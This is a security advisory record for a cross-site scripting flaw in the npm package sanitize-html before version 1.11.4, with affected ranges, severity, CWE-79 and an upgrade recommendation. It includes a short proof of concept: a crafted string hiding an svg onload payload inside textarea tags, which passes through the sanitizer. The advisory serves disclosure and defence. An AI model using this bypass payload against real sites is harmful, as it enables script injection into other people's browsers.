GHSA-xc6g-ggrc-qq4r

Suggest an improvement
Source
https://github.com/advisories/GHSA-xc6g-ggrc-qq4r
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/11/GHSA-xc6g-ggrc-qq4r/GHSA-xc6g-ggrc-qq4r.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-xc6g-ggrc-qq4r
Aliases
Published
2018-11-09T17:47:23Z
Modified
2023-11-08T03:58:59.829428Z
Summary
Cross-Site Scripting in sanitize-html
Details

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;&lt;svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-79"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T22:02:52Z"
}
References

Affected packages

npm / sanitize-html

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.11.4

Database specific

{
    "last_known_affected_version_range": "<= 1.11.1"
}